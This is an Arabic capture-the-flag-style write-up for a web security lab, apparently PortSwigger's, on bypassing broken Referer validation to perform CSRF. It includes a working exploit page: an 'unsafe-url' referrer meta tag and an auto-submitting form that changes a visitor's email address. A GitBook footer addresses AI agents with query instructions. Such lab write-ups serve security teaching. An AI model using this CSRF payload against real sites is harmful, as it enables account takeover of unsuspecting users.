> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-with-broken-referer-validation.md).

# CSRF مع تحقق Referer معطوب

### CSRF مع تحقق Referer معطوب

تحاول ميزة تغيير البريد الإلكتروني في الموقع حظر الطلبات عبر النطاقات من خلال التحقق من **Referer** الرأس، لكن منطق الاكتشاف قابل للتجاوز. هدف المختبر: استضافة صفحة HTML على الخادم تنشئ هجوم CSRF لتغيير عنوان البريد الإلكتروني للزائر.

### الحساب المراد استخدامه

* **المستخدم**: `wiener`
* **كلمة المرور**: `peter`

إذا `Referer` إذا كان قادمًا من نطاق مختلف، فسيُرفض الطلب.

<figure><img src="/files/2e455cacc38cfd179948136430d3a46658a31706" alt=""><figcaption></figcaption></figure>

إذا كان `Referer` إذا كان الرأس مفقودًا، يفشل التحقق أيضًا (ويُرفض الطلب).

<figure><img src="/files/032a9e150358893e308805b937b657e73f12e22d" alt=""><figcaption></figcaption></figure>

* يبحث التحقق عن **تطابق** يحتوي على سلسلة معينة في `Referer`. لذلك فهو يقبل `Referer` الذي **يحتوي** هذه السلسلة، حتى لو وُجد نص إضافي حولها.
* مثال على سلسلة مقبولة تم اكتشافها: / `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="/files/fbf6d28a3a78d9220414da6b5ad623e75692bae4" alt=""><figcaption></figcaption></figure>

#### تمت ملاحظة التجاوز

* بدلاً من إرسال الطلب من `/exploit`، فإن `Referer` يمكن جعله يحتوي على السلسلة المقبولة (مثلًا عن طريق إنشاء عنوان URL يتضمن هذه السلسلة).

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="/files/8f08d8737cdf69c2efbfa7865bce93c409c231e2" alt=""><figcaption></figcaption></figure>

* تفرض المتصفحات قيودًا أمنية تمنع الإرسال التعسفي لبعض أشكال `Referer`. ولإجبار الإرسال الكامل لـ `Referer` من صفحة الاستغلال، أضف التوجيه الوصفي التالي في `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

يخبر هذا التوجيه المتصفح بإرسال عنوان URL للصفحة الأصلية الكاملة على أنه `Referer` حتى عند التصفح عبر أصل مختلف (سلوك غير آمن).

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
